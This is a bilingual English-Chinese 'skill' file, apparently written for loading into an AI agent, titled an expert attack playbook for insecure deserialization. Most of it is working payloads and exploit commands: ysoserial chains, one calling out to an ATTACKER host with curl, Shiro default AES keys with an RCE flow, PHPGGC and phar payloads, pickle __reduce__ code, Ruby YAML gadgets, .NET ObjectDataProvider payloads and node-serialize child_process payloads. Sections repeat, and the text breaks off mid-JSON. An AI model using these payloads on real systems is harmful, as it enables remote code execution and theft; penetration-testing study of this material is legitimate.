deserialization-insecure

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Insecure Deserialization — Expert Attack Playbook

SKILL: 不安全反序列化——专家级攻击手册

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
AI加载说明:覆盖Java、PHP、Python三种语言的专家级反序列化技术,包含gadget链选择、流量指纹识别、工具使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections专项漏洞、Phar反序列化、Python pickle滥用等内容。基础模型通常无法区分找到漏洞sink和找到可用gadget链之间的差异。

0. RELATED ROUTING

0. 相关路由

  • jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
  • unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)

  • jndi-injection:当反序列化触发JNDI查询时使用(例如JDK 8u191之后版本通过LDAP绕过→反序列化)
  • unauthorized-access-common-services:当反序列化端点是暴露的管理服务(RMI Registry、T3、AJP)时使用

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

1. 流量指纹识别——是不是反序列化漏洞?

Java Serialized Objects

Java序列化对象

IndicatorWhere to Look
Hex
ac ed 00 05
Raw binary in request/response body, cookies, POST params
Base64
rO0AB
Cookies (
rememberMe
), hidden form fields, JWT claims
Content-Type: application/x-java-serialized-object
HTTP headers
T3/IIOP protocol trafficWebLogic ports (7001, 7002)
特征排查位置
十六进制
ac ed 00 05
请求/响应体、Cookie、POST参数中的原始二进制数据
Base64
rO0AB
Cookie(
rememberMe
)、隐藏表单字段、JWT声明
Content-Type: application/x-java-serialized-object
HTTP请求头
T3/IIOP协议流量WebLogic端口(7001、7002)

PHP Serialized Objects

PHP序列化对象

IndicatorWhere to Look
O:NUMBER:"ClassName"
pattern
POST body, cookies, session files
a:NUMBER:{
(array)
Same locations
phar://
URI usage
File operations accepting user-controlled paths
特征排查位置
O:NUMBER:"ClassName"
格式
POST请求体、Cookie、会话文件
a:NUMBER:{
(数组格式)
同上位置
phar://
URI使用
接受用户控制路径的文件操作

Python Pickle

Python Pickle

IndicatorWhere to Look
Hex
80 03
or
80 04
(protocol 3/4)
Binary data in requests, message queues
Base64-encoded binary blobAPI params, cookies, Redis values
pickle.loads
/
pickle.load
in source
Code review / whitebox

特征排查位置
十六进制
80 03
80 04
(协议版本3/4)
请求、消息队列中的二进制数据
Base64编码的二进制块API参数、Cookie、Redis值
源码中存在
pickle.loads
/
pickle.load
代码审计/白盒测试

2. JAVA — GADGET CHAINS AND TOOLS

2. Java——Gadget链与工具

ysoserial — Primary Tool

ysoserial——核心工具

bash
undefined
bash
undefined

Generate payload (example: CommonsCollections1 chain with command)

Generate payload (example: CommonsCollections1 chain with command)

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

Base64-encode for HTTP transport

Base64-encode for HTTP transport

java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

Common chains to try (ordered by frequency of vulnerable dependency):

Common chains to try (ordered by frequency of vulnerable dependency):

CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x

CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x

Spring1, Spring2 — Spring Framework

Spring1, Spring2 — Spring Framework

Groovy1 — Groovy

Groovy1 — Groovy

Hibernate1 — Hibernate

Hibernate1 — Hibernate

JBossInterceptors1 — JBoss

JBossInterceptors1 — JBoss

Jdk7u21 — JDK 7u21 (no extra dependency)

Jdk7u21 — JDK 7u21 (no extra dependency)

URLDNS — DNS-only confirmation (no RCE, works everywhere)

URLDNS — DNS-only confirmation (no RCE, works everywhere)

undefined
undefined

URLDNS — Safe Confirmation Probe

URLDNS——安全验证探针

URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
URLDNS可以在不触发RCE的情况下触发DNS查询,可安全地确认反序列化漏洞存在且不会造成破坏:
bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
如果collaborator收到DNS请求=确认存在反序列化漏洞,之后可以升级使用RCE链。

Commons Collections — The Classic Chain

Commons Collections——经典Gadget链

The vulnerability exists when
org.apache.commons.collections
(3.x) is on the classpath and the application calls
readObject()
on untrusted data.
Key classes in the chain:
InvokerTransformer
ChainedTransformer
TransformedMap
→ triggers
Runtime.exec()
during deserialization.
当classpath中存在
org.apache.commons.collections
(3.x版本)且应用对不受信任数据调用
readObject()
时,就会存在该漏洞。
链中的核心类:
InvokerTransformer
ChainedTransformer
TransformedMap
→ 反序列化过程中触发
Runtime.exec()

Apache Shiro — rememberMe Deserialization

Apache Shiro——rememberMe反序列化

Shiro uses AES-CBC to encrypt serialized Java objects in the
rememberMe
cookie.
text
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
Attack flow:
  1. Detect: response sets
    rememberMe=deleteMe
    cookie on invalid session
  2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
  3. AES-CBC encrypt with known key + random IV
  4. Base64-encode → set as
    rememberMe
    cookie value
  5. Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain →
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
→ encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
Shiro使用AES-CBC加密
rememberMe
Cookie中的序列化Java对象。
text
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
攻击流程
  1. 检测:无效会话时响应返回
    rememberMe=deleteMe
    Cookie
  2. 生成ysoserial payload(推荐使用兼容性更广的CommonsCollections6链)
  3. 使用已知密钥+随机IV进行AES-CBC加密
  4. Base64编码 → 设置为
    rememberMe
    Cookie值
  5. 发送请求 → 服务端解密 → 反序列化 → 触发RCE
DNSLog验证(全量RCE前验证):使用URLDNS链 →
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
→ 加密 → 设置Cookie → 检查DNSLog是否收到请求。
修复后绕过(随机密钥):密钥仍可能通过填充预言机或其他CVE(SHIRO-721)泄露。

WebLogic Deserialization

WebLogic反序列化

Multiple vectors:
  • T3 protocol (port 7001): direct serialized object injection
  • XMLDecoder (CVE-2017-10271): XML-based deserialization via
    /wls-wsat/CoordinatorPortType
  • IIOP protocol: alternative to T3
bash
undefined
多种攻击向量:
  • T3协议(端口7001):直接注入序列化对象
  • XMLDecoder(CVE-2017-10271):通过
    /wls-wsat/CoordinatorPortType
    的XML格式反序列化
  • IIOP协议:T3的替代方案
bash
undefined

T3 probe — check if T3 is exposed:

T3 probe — check if T3 is exposed:

nmap -sV -p 7001 TARGET
nmap -sV -p 7001 TARGET

Look for: "T3" or "WebLogic" in service banner

Look for: "T3" or "WebLogic" in service banner

undefined
undefined

Java RMI Registry

Java RMI Registry

RMI Registry (port 1099) accepts serialized objects by design:
bash
undefined
RMI Registry(端口1099)设计上就接受序列化对象:
bash
undefined

ysoserial exploit module for RMI:

ysoserial exploit module for RMI:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

Requires: vulnerable library on target's classpath

Requires: vulnerable library on target's classpath

Works on: JDK <= 8u111 without JEP 290 deserialization filter

Works on: JDK <= 8u111 without JEP 290 deserialization filter

undefined
undefined

JDK Version Constraints

JDK版本限制

JDK VersionImpact
< 8u121RMI/LDAP remote class loading works
8u121-8u190
trustURLCodebase=false
for RMI; LDAP still works
>= 8u191Both RMI and LDAP remote class loading blocked
>= 8u191 bypassUse LDAP → return serialized gadget object (not remote class)

JDK版本影响
< 8u121RMI/LDAP远程类加载可用
8u121-8u190RMI默认
trustURLCodebase=false
;LDAP仍可用
>= 8u191RMI和LDAP远程类加载均被阻断
>= 8u191绕过使用LDAP → 返回序列化gadget对象(而非远程类)

3. PHP — unserialize AND PHAR

3. PHP——unserialize和PHAR

Magic Method Chain

魔术方法链

PHP deserialization triggers magic methods in order:
__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods
Attack: craft a serialized object whose
__destruct()
or
__wakeup()
triggers dangerous operations (file write, SQL query, command execution, SSRF).
PHP反序列化按顺序触发魔术方法:
__wakeup()  → unserialize()执行后立即调用
__destruct() → 对象被垃圾回收时调用
__toString() → 对象被当作字符串使用时调用
__call()     → 调用不存在的方法时调用
攻击:构造序列化对象,使其
__destruct()
__wakeup()
触发危险操作(文件写入、SQL查询、命令执行、SSRF)。

Serialized Object Format

序列化对象格式

php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

phpMyAdmin Configuration Injection (Real-World Case)

phpMyAdmin配置注入(真实案例)

phpMyAdmin
PMA_Config
class reads arbitrary files via
source
property:
text
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
phpMyAdmin的
PMA_Config
类通过
source
属性读取任意文件:
text
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

PHPGGC — PHP Gadget Chain Generator

PHPGGC——PHP Gadget链生成器

bash
undefined
bash
undefined

List available chains:

List available chains:

phpggc -l
phpggc -l

Generate payload (example: Laravel RCE):

Generate payload (example: Laravel RCE):

phpggc Laravel/RCE1 system id
phpggc Laravel/RCE1 system id

Common chains:

Common chains:

Laravel/RCE1-10

Laravel/RCE1-10

Symfony/RCE1-4

Symfony/RCE1-4

Guzzle/RCE1

Guzzle/RCE1

Monolog/RCE1-2

Monolog/RCE1-2

WordPress/RCE1

WordPress/RCE1

Slim/RCE1

Slim/RCE1

undefined
undefined

Phar Deserialization

Phar反序列化

Phar archives contain serialized metadata. Any file operation on a
phar://
URI triggers deserialization — even when
unserialize()
is never directly called.
Triggering functions (partial list):
file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()
Attack flow:
  1. Upload a valid file (e.g., JPEG with phar polyglot)
  2. Trigger file operation:
    file_exists("phar://uploads/avatar.jpg")
  3. PHP deserializes phar metadata → gadget chain executes
bash
undefined
Phar压缩包包含序列化元数据。任何对
phar://
URI的文件操作都会触发反序列化——即使从未直接调用
unserialize()
触发函数(部分列表):
file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()
攻击流程
  1. 上传合法文件(例如带phar polyglot的JPEG文件)
  2. 触发文件操作:
    file_exists("phar://uploads/avatar.jpg")
  3. PHP反序列化phar元数据 → 执行gadget链
bash
undefined

Generate phar with PHPGGC:

Generate phar with PHPGGC:

phpggc -p phar -o exploit.phar Monolog/RCE1 system id

---
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

---

4. PYTHON — PICKLE

4. Python——Pickle

reduce Method

__reduce__方法

Python's
pickle.loads()
calls
__reduce__()
on objects during deserialization, which can return a callable + args:
python
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
Python的
pickle.loads()
在反序列化时会调用对象的
__reduce__()
方法,该方法可返回可调用对象+参数:
python
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())

Send payload to target that calls pickle.loads()

Send payload to target that calls pickle.loads()

undefined
undefined

Analyzing Pickle Opcodes

分析Pickle操作码

python
import pickletools
pickletools.dis(payload)
python
import pickletools
pickletools.dis(payload)

Shows opcodes: GLOBAL, REDUCE, etc.

Shows opcodes: GLOBAL, REDUCE, etc.

Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

undefined
undefined

Common Python Deserialization Sinks

常见Python反序列化Sink

python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

Defensive Bypass: RestrictedUnpickler

防御绕过:RestrictedUnpickler

Even when
RestrictedUnpickler.find_class
is used, check if the whitelist is too broad:
python
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
If
safe_builtins
includes
eval
,
exec
, or
__import__
→ still exploitable.

即使使用了
RestrictedUnpickler.find_class
,也要检查白名单是否过宽:
python
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
如果
safe_builtins
包含
eval
exec
__import__
→ 仍可被利用。

5. DETECTION METHODOLOGY

5. 检测方法

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

在请求/Cookie中发现二进制块或编码对象?
├── 存在Java特征(ac ed / rO0AB)?
│   ├── 使用URLDNS探针安全验证
│   ├── 识别依赖库(错误信息、已知产品)
│   └── 尝试匹配识别到的库对应的ysoserial链
├── 存在PHP特征(O:N:"...)?
│   ├── 识别框架(Laravel、Symfony、WordPress)
│   ├── 尝试对应框架的PHPGGC链
│   └── 检查文件操作中是否存在phar://包装器
├── Python特征(不透明二进制、Base64块)?
│   ├── 尝试带DNS回调的pickle payload
│   └── 检查是否使用了PyYAML不安全加载
└── 不确定?
    ├── 尝试URLDNS payload(Java)——检查DNS
    ├── 尝试PHP序列化测试字符串
    └── 监控错误信息中的类加载失败提示

6. DEFENSE AWARENESS

6. 防御方案

LanguageMitigation
JavaJEP 290 deserialization filters; whitelist allowed classes; avoid
ObjectInputStream
on untrusted data; use JSON/Protobuf instead
PHPAvoid
unserialize()
on user input; use
json_decode()
instead; block
phar://
in file operations
PythonUse
pickle
only for trusted data; use
json
for external input; PyYAML: always use
yaml.safe_load()

语言缓解措施
Java启用JEP 290反序列化过滤器;白名单允许的类;避免对不受信任数据使用
ObjectInputStream
;改用JSON/Protobuf
PHP避免对用户输入使用
unserialize()
;改用
json_decode()
;文件操作中阻断
phar://
Python仅对受信任数据使用
pickle
;外部输入使用
json
;PyYAML始终使用
yaml.safe_load()

7. QUICK REFERENCE — KEY PAYLOADS

7. 快速参考——核心Payload

text
undefined
text
undefined

Java — URLDNS confirmation

Java — URLDNS验证

java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

Java — RCE via CommonsCollections

Java — CommonsCollections RCE

java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

PHP — Laravel RCE

PHP — Laravel RCE

phpggc Laravel/RCE1 system "id"
phpggc Laravel/RCE1 system "id"

PHP — Phar polyglot

PHP — Phar polyglot

phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

Python — Pickle RCE

Python — Pickle RCE

python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"

Shiro default key test

Shiro默认密钥测试

rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

---
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

---

8. RUBY DESERIALIZATION

8. Ruby反序列化

Ruby Marshal

Ruby Marshal

  • Marshal.load
    on untrusted data → RCE
  • Fingerprint: binary data, no common text header
  • Gadget chains exist for various Ruby versions
  • Docker verification: hex payload via
    [hex_string].pack("H*")
  • 对不受信任数据使用
    Marshal.load
    → RCE
  • 指纹:二进制数据,无通用文本头
  • 存在适配不同Ruby版本的gadget链
  • Docker验证:通过
    [hex_string].pack("H*")
    加载十六进制payload

Ruby YAML (YAML.load)

Ruby YAML (YAML.load)

  • YAML.load
    (not
    YAML.safe_load
    ) executes arbitrary Ruby objects
  • Pre Ruby 2.7.2:
    Gem::Requirement
    chain →
    git_set: id
    /
    git_set: sleep 600
  • Ruby 2.x-3.x:
    Gem::Installer
    TarReader
    Kernel#system
    chain (longer, multi-step)
  • Always test:
    YAML.load("--- !ruby/object:Gem::Installer\ni: x")
    for class instantiation check
  • Payload template:
yaml
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"
  • Note:
    YAML.safe_load
    is safe (Ruby 2.1+);
    Psych.safe_load
    also safe

  • YAML.load
    (非
    YAML.safe_load
    )会执行任意Ruby对象
  • Ruby 2.7.2之前版本
    Gem::Requirement
    链 →
    git_set: id
    /
    git_set: sleep 600
  • Ruby 2.x-3.x
    Gem::Installer
    TarReader
    Kernel#system
    链(更长、多步骤)
  • 始终测试:
    YAML.load("--- !ruby/object:Gem::Installer\ni: x")
    检查类实例化是否可行
  • Payload模板:
yaml
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  type: :runtime
  specs:
    - !ruby/object:Gem::StubSpecification
      loaded_from: "|id"
  • 注意:
    YAML.safe_load
    是安全的(Ruby 2.1+);
    Psych.safe_load
    也安全

9. .NET DESERIALIZATION

9. .NET反序列化

  • Traffic fingerprint:
    • BinaryFormatter: hex
      AAEAAD
      (base64
      AAEAAAD/////
      )
    • ViewState: hex
      FF01
      or
      /w
      prefix
    • JSON.NET:
      $type
      property in JSON
  • BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
  • XmlSerializer:
    ObjectDataProvider
    +
    XamlReader
    chain for command execution
    xml
    <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
      <od:MethodName>Start</od:MethodName>
      <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
      <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
    </root>
  • NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
  • LosFormatter: used in ViewState, deserializes to
    ObjectStateFormatter
  • JSON.NET:
    $type
    property enables type control →
    ObjectDataProvider
    +
    ExpandedWrapper
    chains
    json
    {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
  • Tool:
    ysoserial.net
    — generate payloads for all .NET formatters
    text
    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
    ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
  • POP gadgets:
    ObjectDataProvider
    ,
    ExpandedWrapper
    ,
    AssemblyInstaller.set_Path

  • 流量指纹
    • BinaryFormatter:十六进制
      AAEAAD
      (Base64
      AAEAAAD/////
    • ViewState:十六进制
      FF01
      /w
      前缀
    • JSON.NET:JSON中存在
      $type
      属性
  • BinaryFormatter(最危险,.NET 5+已废弃):可实例化任意类型
  • XmlSerializer
    ObjectDataProvider
    +
    XamlReader
    链可执行命令
    xml
    <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
      <od:MethodName>Start</od:MethodName>
      <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
      <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
    </root>
  • NetDataContractSerializer:类似BinaryFormatter,XML中包含完整类型信息
  • LosFormatter:用于ViewState,反序列化为
    ObjectStateFormatter
  • JSON.NET
    $type
    属性可控制类型 →
    ObjectDataProvider
    +
    ExpandedWrapper
    json
    {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
  • 工具
    ysoserial.net
    — 生成所有.NET格式化器的payload
    text
    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
    ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
  • POP gadgets
    ObjectDataProvider
    ExpandedWrapper
    AssemblyInstaller.set_Path

10. NODE.JS DESERIALIZATION

10. NODE.JS反序列化

  • node-serialize:
    unserialize()
    with IIFE (Immediately Invoked Function Expression)
    • Payload marker:
      _$$ND_FUNC$$_
    • Add
      ()
      at end to auto-execute:
    json
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
  • funcster:
    __js_function
    property →
    constructor.constructor
    to access
    process
    json
    {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
  • cryo: similar to funcster, serializes JS objects with function support

  • node-serialize:带IIFE(立即执行函数表达式)的
    unserialize()
    • Payload标记:
      _$$ND_FUNC$$_
    • 末尾添加
      ()
      自动执行:
    json
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
  • funcster
    __js_function
    属性 → 通过
    constructor.constructor
    访问
    process
    json
    {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
  • cryo:类似funcster,支持序列化带函数的JS对象

RUBY DESERIALIZATION

RUBY反序列化

Marshal (Binary Format)

Marshal(二进制格式)

ruby
undefined
ruby
undefined

Ruby's Marshal.load is equivalent to Java's ObjectInputStream

Ruby's Marshal.load is equivalent to Java's ObjectInputStream

Any class with marshal_dump/marshal_load can be a gadget

Any class with marshal_dump/marshal_load can be a gadget

Detection: binary data starting with \x04\x08

Detection: binary data starting with \x04\x08

Or hex: 0408

Or hex: 0408

PoC gadget (requires vulnerable class in scope):

PoC gadget (requires vulnerable class in scope):

payload = "\x04\x08..." # hex-encoded gadget chain Marshal.load(payload) # triggers arbitrary code execution
undefined
payload = "\x04\x08..." # hex-encoded gadget chain Marshal.load(payload) # triggers arbitrary code execution
undefined

YAML.load (Critical — Most Common Ruby Deser Sink)

YAML.load(高危——最常见的Ruby反序列化Sink)

ruby
undefined
ruby
undefined

YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects

Ruby <= 2.7.2 — Gem::Requirement chain:

Ruby <= 2.7.2 — Gem::Requirement chain:

Triggers via !ruby/object constructor

Triggers via !ruby/object constructor


!ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source current_fetch_uri: !ruby/object:URI::Generic path: "| id"

!ruby/object:Gem::Requirement requirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source current_fetch_uri: !ruby/object:URI::Generic path: "| id"

Ruby 2.x–3.x — Gem::Installer chain:

Ruby 2.x–3.x — Gem::Installer chain:

Uses Gem::Installer → Gem::StubSpecification → Kernel#system

Uses Gem::Installer → Gem::StubSpecification → Kernel#system


!ruby/hash:Gem::Installer i: x !ruby/hash:Gem::SpecFetcher i: y !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id # <-- command to execute method_id: :resolve

!ruby/hash:Gem::Installer i: x !ruby/hash:Gem::SpecFetcher i: y !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id # <-- command to execute method_id: :resolve

Safe alternative: YAML.safe_load (whitelist of allowed types)

Safe alternative: YAML.safe_load (whitelist of allowed types)

undefined
undefined

Tools

工具

  • elttam/ruby-deserialization
    — Ruby gadget chain generator
  • frohoff/ysoserial
    inspiration → check Ruby-specific forks

  • elttam/ruby-deserialization
    — Ruby gadget链生成器
  • frohoff/ysoserial
    灵感来源 → 查看Ruby专属的fork版本

.NET DESERIALIZATION

.NET反序列化

Traffic Fingerprinting

流量指纹识别

IndicatorSerializer
Hex
00 01 00 00 00
/ Base64
AAEAAD
BinaryFormatter
Hex
FF 01
/ Base64
/w
DataContractSerializer
ViewState starts with
__VIEWSTATE
LosFormatter / ObjectStateFormatter
JSON with
$type
property
JSON.NET (Newtonsoft) TypeNameHandling
XML with
<ObjectDataProvider>
XmlSerializer / NetDataContractSerializer
特征序列化器
十六进制
00 01 00 00 00
/ Base64
AAEAAD
BinaryFormatter
十六进制
FF 01
/ Base64
/w
DataContractSerializer
ViewState以
__VIEWSTATE
开头
LosFormatter / ObjectStateFormatter
$type
属性的JSON
JSON.NET (Newtonsoft) TypeNameHandling
<ObjectDataProvider>
的XML
XmlSerializer / NetDataContractSerializer

BinaryFormatter / LosFormatter

BinaryFormatter / LosFormatter

undefined
undefined

Most dangerous — arbitrary type instantiation

Most dangerous — arbitrary type instantiation

Tool: ysoserial.net

Tool: ysoserial.net

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64 ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64

LosFormatter wraps BinaryFormatter — same gadgets work

LosFormatter wraps BinaryFormatter — same gadgets work

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
undefined
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
undefined

XmlSerializer + ObjectDataProvider

XmlSerializer + ObjectDataProvider

xml
<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>
xml
<root>
  <ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <ObjectDataProvider.MethodParameters>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
      <sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
    </ObjectDataProvider.MethodParameters>
    <ObjectDataProvider.ObjectInstance>
      <ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
        <ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
        <ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
      </ProcessStartInfo>
    </ObjectDataProvider.ObjectInstance>
  </ObjectDataProvider>
</root>

JSON.NET with TypeNameHandling

启用TypeNameHandling的JSON.NET

json
{
